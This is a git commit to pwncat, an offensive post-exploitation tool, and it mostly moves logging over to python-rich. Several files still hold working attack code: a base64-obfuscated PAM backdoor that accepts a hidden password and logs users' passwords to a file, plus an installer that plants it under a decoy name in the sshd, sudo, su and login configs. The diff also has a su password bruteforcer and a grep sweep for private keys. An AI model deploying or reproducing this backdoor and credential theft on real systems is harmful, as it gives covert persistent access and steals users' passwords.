1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-23 17:15:38 +01:00

Finished implementing new logging with python-rich

This commit is contained in:
Caleb Stewart 2020-07-06 22:40:14 -04:00
parent 40bfd7cb20
commit 93e39b9a47
14 changed files with 208 additions and 206 deletions

View File

@ -36,7 +36,6 @@ import pwncat
import pwncat.db
from pwncat.commands.base import CommandDefinition, Complete
from pwncat.util import State, console
from pwncat import util
def resolve_blocks(source: str):
@ -187,8 +186,8 @@ class CommandParser:
try:
self.dispatch_line(command)
except Exception as exc:
util.error(
f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}"
console.log(
f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
)
break
@ -244,7 +243,7 @@ class CommandParser:
# Spit the line with shell rules
argv = shlex.split(line)
except ValueError as e:
util.error(e.args[0])
console.log(f"[red]error[/red]: {e.args[0]}")
return
if argv[0][0] in self.shortcuts:
@ -262,12 +261,12 @@ class CommandParser:
if argv[0] in self.aliases:
command = self.aliases[argv[0]]
else:
util.error(f"{argv[0]}: unknown command")
console.log(f"[red]error[/red]: {argv[0]}: unknown command")
return
if not self.loading_complete and not command.LOCAL:
util.error(
f"{argv[0]}: non-local commands cannot run until after session setup."
console.log(
f"[red]error[/red]: {argv[0]}: non-local command use before connection"
)
return

View File

@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys
import pwncat
from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat.config import KeyType
from pwncat import util
from pwncat.util import console
from colorama import Fore
import string
@ -29,11 +29,8 @@ class Command(CommandDefinition):
def run(self, args):
if args.key is None:
util.info("currently assigned key-bindings:")
for key, binding in pwncat.victim.config.bindings.items():
print(
f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
)
console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
elif args.key is not None and args.script is None:
if args.key in pwncat.victim.config.bindings:
del pwncat.victim.config.bindings[args.key]

View File

@ -1,7 +1,8 @@
#!/usr/bin/env python3
import argparse
from rich.progress import Progress
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter
import pwncat
@ -41,19 +42,36 @@ class Command(CommandDefinition):
def run(self, args):
for name in args.user:
args.dictionary.seek(0)
for line in args.dictionary:
line = line.strip()
util.progress(f"bruteforcing {name}: {line}")
with Progress(
"bruteforcing",
"[blue]{task.description}",
"",
"[cyan]{task.fields[password]}",
) as progress:
tasks = [
progress.add_task(name, password="", start=False) for name in args.user
]
for i, name in enumerate(args.user):
args.dictionary.seek(0)
progress.start_task(tasks[i])
for line in args.dictionary:
line = line.strip()
try:
# Attempt the password
pwncat.victim.su(name, line, check=True)
pwncat.victim.users[name].password = line
util.success(f"user {name} has password {repr(line)}!")
break
except PermissionError:
continue
progress.update(tasks[i], password=line)
util.success("bruteforcing completed")
try:
# Attempt the password
pwncat.victim.su(name, line, check=True)
pwncat.victim.users[name].password = line
progress.update(
tasks[i],
password=f"password is [green]{repr(line)}[/green]",
)
break
except PermissionError:
continue
else:
progress.update(
tasks[i], password="[red]failed[/red]: no password found"
)
progress.stop_task(tasks[i])

View File

@ -10,7 +10,7 @@ from pwncat.commands.base import (
StoreConstOnce,
StoreForAction,
)
from pwncat import util
from pwncat.util import console
class Command(CommandDefinition):
@ -64,11 +64,11 @@ class Command(CommandDefinition):
pwncat.victim.bootstrap_busybox(args.url)
elif args.action == "list":
if pwncat.victim.host.busybox is None:
util.error(
"busybox hasn't been installed yet (hint: run 'busybox --install'"
console.log(
"[red]error[/red]: "
"busybox is not installed (hint: run 'busybox --install')"
)
return
util.info("binaries which the remote busybox provides:")
# Find all binaries which are provided by busybox
provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
@ -77,13 +77,13 @@ class Command(CommandDefinition):
)
for binary in provides:
print(f" * {binary.name}")
console.print(f" - {binary.name}")
elif args.action == "status":
if pwncat.victim.host.busybox is None:
util.error("busybox hasn't been installed yet")
console.log("[red]error[/red]: busybox hasn't been installed yet")
return
util.info(
f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
console.log(
f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
)
# Find all binaries which are provided from busybox
@ -96,4 +96,4 @@ class Command(CommandDefinition):
.with_entities(func.count())
.scalar()
)
util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
console.log(f"busybox provides [green]{nprovides}[/green] applets")

View File

@ -8,7 +8,6 @@ from prompt_toolkit import prompt
from rich.progress import Progress, BarColumn
import pwncat
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import (
CommandDefinition,
@ -185,7 +184,7 @@ class Command(CommandDefinition):
# Connect to the remote host's ssh server
sock = socket.create_connection((args.host, args.port))
except Exception as exc:
util.error(str(exc))
console.log(f"[red]error[/red]: {str(exc)}")
return
# Create a paramiko SSH transport layer around the socket
@ -194,7 +193,7 @@ class Command(CommandDefinition):
t.start_client()
except paramiko.SSHException:
sock.close()
util.error("ssh negotiation failed")
console.log("[red]error[/red]: ssh negotiation failed")
return
if args.identity:
@ -209,12 +208,12 @@ class Command(CommandDefinition):
try:
t.auth_publickey(args.user, key)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
console.log(f"[red]error[/red]: authentication failed: {exc}")
else:
try:
t.auth_password(args.user, args.password)
except paramiko.ssh_exception.AuthenticationException as exc:
util.error(f"authentication failed: {exc}")
console.log(f"[red]error[/red]: authentication failed: {exc}")
if not t.is_authenticated():
t.close()
@ -234,14 +233,13 @@ class Command(CommandDefinition):
try:
addr = ipaddress.ip_address(args.host)
util.progress(f"enumerating persistence methods for {addr}")
host = (
pwncat.victim.session.query(pwncat.db.Host)
.filter_by(ip=str(addr))
.first()
)
if host is None:
util.error(f"{args.host}: not found in database")
console.log(f"[red]error[/red]: {args.host}: not found in database")
return
host_hash = host.hash
except ValueError:
@ -251,19 +249,19 @@ class Command(CommandDefinition):
try:
pwncat.victim.reconnect(host_hash, args.method, args.user)
except PersistenceError as exc:
util.error(f"{args.host}: connection failed")
console.log(f"[red]error[/red]: {args.host}: {exc}")
return
elif args.action == "list":
if pwncat.victim.session is not None:
for host in pwncat.victim.session.query(pwncat.db.Host):
if len(host.persistence) == 0:
continue
print(
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
console.print(
f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
)
for p in host.persistence:
print(
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
console.print(
f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
)
else:
util.error(f"{args.action}: invalid action")
console.log(f"[red]error[/red]: {args.action}: invalid action")

View File

@ -6,9 +6,11 @@ from typing import List, Dict
import pytablewriter
from colorama import Fore, Style
from pytablewriter import MarkdownTableWriter
from rich.progress import Progress, BarColumn
import pwncat
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import (
CommandDefinition,
Complete,
@ -320,18 +322,23 @@ class Command(CommandDefinition):
"system.package",
]
util.progress("enumerating report_data")
for fact in pwncat.victim.enumerate():
util.progress(f"enumerating report_data: {fact.data}")
if fact.type in ignore_types:
continue
if fact.type not in report_data:
report_data[fact.type] = {}
if fact.source not in report_data[fact.type]:
report_data[fact.type][fact.source] = []
report_data[fact.type][fact.source].append(fact)
util.erase_progress()
with Progress(
"enumerating report data",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
) as progress:
task = progress.add_task("", status="initializing")
for fact in pwncat.victim.enumerate():
progress.update(task, status=str(fact.data))
if fact.type in ignore_types:
continue
if fact.type not in report_data:
report_data[fact.type] = {}
if fact.source not in report_data[fact.type]:
report_data[fact.type][fact.source] = []
report_data[fact.type][fact.source].append(fact)
try:
with open(report_path, "w") as filp:
@ -359,9 +366,9 @@ class Command(CommandDefinition):
continue
self.render_section(filp, typ, report_data[typ])
util.success(f"enumeration report written to {report_path}")
except OSError:
self.parser.error(f"{report_path}: failed to open output file")
console.log(f"enumeration report written to [cyan]{report_path}[/cyan]")
except OSError as exc:
console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
"""
@ -399,29 +406,34 @@ class Command(CommandDefinition):
types = typ if isinstance(typ, list) else [typ]
util.progress("enumerating facts")
for typ in types:
for fact in pwncat.victim.enumerate.iter(
typ, filter=lambda f: provider is None or f.source == provider
):
util.progress(f"enumerating facts: {fact.data}")
if fact.type not in data:
data[fact.type] = {}
if fact.source not in data[fact.type]:
data[fact.type][fact.source] = []
data[fact.type][fact.source].append(fact)
util.erase_progress()
with Progress(
"enumerating facts",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
) as progress:
task = progress.add_task("", status="initializing")
for typ in types:
for fact in pwncat.victim.enumerate.iter(
typ, filter=lambda f: provider is None or f.source == provider
):
progress.update(task, status=str(fact.data))
if fact.type not in data:
data[fact.type] = {}
if fact.source not in data[fact.type]:
data[fact.type][fact.source] = []
data[fact.type][fact.source].append(fact)
for typ, sources in data.items():
for source, facts in sources.items():
print(
f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
console.print(
f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
)
for fact in facts:
print(f" {fact.data}")
console.print(f" {fact.data}")
if long and getattr(fact.data, "description", None) is not None:
print(textwrap.indent(fact.data.description, " "))
console.print(textwrap.indent(fact.data.description, " "))
def flush_facts(self, typ: str, provider: str):
""" Flush all facts that match criteria """

View File

@ -1,5 +1,5 @@
#!/usr/bin/env python3
from pwncat import util
from pwncat.util import console
from pwncat.commands.base import CommandDefinition, Complete, Parameter
@ -23,7 +23,7 @@ class Command(CommandDefinition):
# Ensure we confirmed we want to exit
if not args.yes:
util.error("exit not confirmed")
console.log("[red]error[/red]: exit not confirmed (use '--yes')")
return
# Get outa here!

View File

@ -4,7 +4,7 @@ import textwrap
import pwncat
from pwncat.commands import CommandParser
from pwncat.commands.base import CommandDefinition, Complete, Parameter
from pwncat import util
from pwncat.util import console
class Command(CommandDefinition):
@ -26,9 +26,8 @@ class Command(CommandDefinition):
if command.parser is not None:
command.parser.print_help()
else:
print(textwrap.dedent(command.__doc__).strip())
console.print(textwrap.dedent(command.__doc__).strip())
break
else:
util.info("the following commands are available:")
for command in pwncat.victim.command_parser.commands:
print(f" * {command.PROG}")
console.print(f" - {command.PROG}")

View File

@ -3,6 +3,15 @@ import textwrap
from typing import Dict, Type, Tuple, Iterator
from colorama import Fore, Style
from rich.progress import (
BarColumn,
DownloadColumn,
TextColumn,
TransferSpeedColumn,
TimeRemainingColumn,
Progress,
TaskID,
)
import pwncat
from pwncat.util import console
@ -111,18 +120,29 @@ class Command(CommandDefinition):
def clean_methods(self):
""" Remove all persistence methods from the victim """
util.progress("cleaning persistence methods: ")
for user, method in pwncat.victim.persist.installed:
try:
util.progress(f"cleaning persistance methods: {method.format(user)}")
pwncat.victim.persist.remove(method.name, user)
util.success(f"removed {method.format(user)}")
except PersistenceError as exc:
util.erase_progress()
util.warn(
f"{method.format(user)}: removal failed: {exc}\n", overlay=True
)
util.erase_progress()
with Progress(
"cleaning",
"{task.fields[method]}",
BarColumn(bar_width=None),
"[progress.percentage]{task.percentage:>3.1f}%",
console=console,
) as progress:
installed = list(pwncat.victim.persist.installed)
task = progress.add_task("", method="initializing", total=len(installed))
for user, method in installed:
try:
progress.update(task, method=method.format(user))
pwncat.victim.persist.remove(method.name, user)
except PersistenceError as exc:
progress.log(
f"[yellow]warning[/yellow]: {method.format(user)}: "
f"removal failed: {exc}"
)
progress.update(task, advance=1)
progress.update(task, method="[bold green]complete")
def run(self, args):

View File

@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
data = []
util.progress("enumerating private keys")
# Search for private keys in common locations
with pwncat.victim.subprocess(
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
for line in pipe:
line = line.strip().decode("utf-8").split(" ")
uid, path = int(line[0]), " ".join(line[1:])
util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
data.append(PrivateKeyFact(uid, path, None, False))
for fact in data:
try:
util.progress(
f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
)
with pwncat.victim.open(fact.path, "r") as filp:
fact.content = filp.read().strip().replace("\r\n", "\n")

View File

@ -6,6 +6,8 @@ import os
import textwrap
from typing import Optional
from rich.progress import Progress
import pwncat
from pwncat import util
from pwncat.persist import PersistenceMethod, PersistenceError
@ -30,6 +32,46 @@ class Method(PersistenceMethod):
name = "pam"
# We can leverage this to escalate locally
local = True
# Source to our module
sneaky_source = textwrap.dedent(
"""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg=="""
).replace("\n", "")
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
def install(self, user: Optional[str] = None):
""" Install the persistence method """
@ -52,48 +94,6 @@ class Method(PersistenceMethod):
# SELinux not found
pass
# Source to our module
sneaky_source = textwrap.dedent(
"""
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
"""
).replace("\n", "")
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
# We use the backdoor password. Build the string of encoded bytes
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
password = hashlib.sha1(
@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
password = ",".join(hex(c) for c in password)
# Insert our key
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)
sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password)
# Insert the log location for successful passwords
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
progress = Progress(
"installing pam module",
"",
"[cyan]{task.fields[status]}",
transient=True,
console=console,
)
task = progress.add_task("", status="initializing")
# Write the source
try:
progress.start()
util.progress("pam_sneaky: compiling shared library")
progress.update(task, status="compiling shared library")
try:
# Compile our source for the remote host
@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except (FileNotFoundError, CompilationError) as exc:
raise PersistenceError(f"pam: compilation failed: {exc}")
util.progress("pam_sneaky: locating pam module location")
progress.update(task, status="locating pam module installation")
# Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security"
@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
except FileNotFoundError:
pass
util.progress(f"pam_sneaky: pam modules located in {pam_modules}")
progress.update(task, status=f"pam modules located at {pam_modules}")
# Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules)
if (Access.DIRECTORY | Access.WRITE) in access:
# Copy the module to a non-suspicious path
util.progress(f"pam_sneaky: copying shared library to {pam_modules}")
progress.update(task, status="copying shared library")
pwncat.victim.env(
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
)
new_line = "auth\tsufficient\tpam_succeed.so\n"
util.progress(f"pam_sneaky: adding pam auth configuration")
progress.update(task, status="adding pam auth configuration")
# Add this auth method to the following pam configurations
for config in ["sshd", "sudo", "su", "login"]:
util.progress(
f"pam_sneaky: adding pam auth configuration: {config}"
progress.update(
task, status=f"adding pam auth configuration: {config}"
)
config = os.path.join("/etc/pam.d", config)
try:
@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
pwncat.victim.tamper.created_file("/var/log/firstlog")
util.erase_progress()
except FileNotFoundError as exc:
# A needed binary wasn't found. Clean up whatever we created.
raise PersistenceError(str(exc))
finally:
progress.stop()
def remove(self, user: Optional[str] = None):
""" Remove this method """
@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
raise PersistenceError("insufficient permissions")
except FileNotFoundError as exc:
# Uh-oh, some binary was missing... I'm not sure what to do here...
util.error(str(exc))
console.log(f"[red]error[/red]: {exc}")
def escalate(self, user: Optional[str] = None) -> bool:
""" Utilize this method to escalate locally """

View File

@ -51,9 +51,6 @@ class Method(BaseMethod):
# The rule appears to match, add it to the list
rules.append(fact.data)
# We don't need that progress after this is complete
util.erase_progress()
for rule in rules:
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
progress.update(task, step=str(rule))

View File

@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1
def erase_progress():
""" Erase the last progress line. Useful for progress messages for long-running
tasks, which don't need (or want) to be logged to the terminal """
global LAST_LOG_MESSAGE
return
sys.stdout.write(
len(LAST_LOG_MESSAGE[0]) * "\b"
+ len(LAST_LOG_MESSAGE[0]) * " "
+ len(LAST_LOG_MESSAGE[0]) * "\b"
)
LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False)
raise RuntimeError("new-logging: please use the rich module for logging")
def log(level, message, overlay=False):
global LAST_LOG_MESSAGE
global LAST_PROG_ANIM
return
prefix = {
"info": f"[{Fore.BLUE}+{Fore.RESET}]",
"success": f"[{Fore.GREEN}+{Fore.RESET}]",
"warn": f"[{Fore.YELLOW}?{Fore.RESET}]",
"error": f"[{Fore.RED}!{Fore.RESET}]",
"prog": f"[{Fore.CYAN}+{Fore.RESET}]",
}
if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]):
erase_progress()
elif LAST_LOG_MESSAGE[1]:
sys.stdout.write("\n")
if level == "prog":
LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION)
prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM])
LAST_LOG_MESSAGE = (
f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}",
overlay,
)
sys.stdout.write(LAST_LOG_MESSAGE[0])
if not overlay:
sys.stdout.write("\n")
else:
sys.stdout.flush()
raise RuntimeError("new-logging: please use the rich module for logging")
def info(message, overlay=False):

View File

@ -30,7 +30,7 @@ dependency_links = [
# Setup
setup(
name="pwncat",
version="0.2.0",
version="0.3.0",
description="A fancy reverse and bind shell handler",
author="Caleb Stewart",
url="https://gitlab.com/calebstewart/pwncat",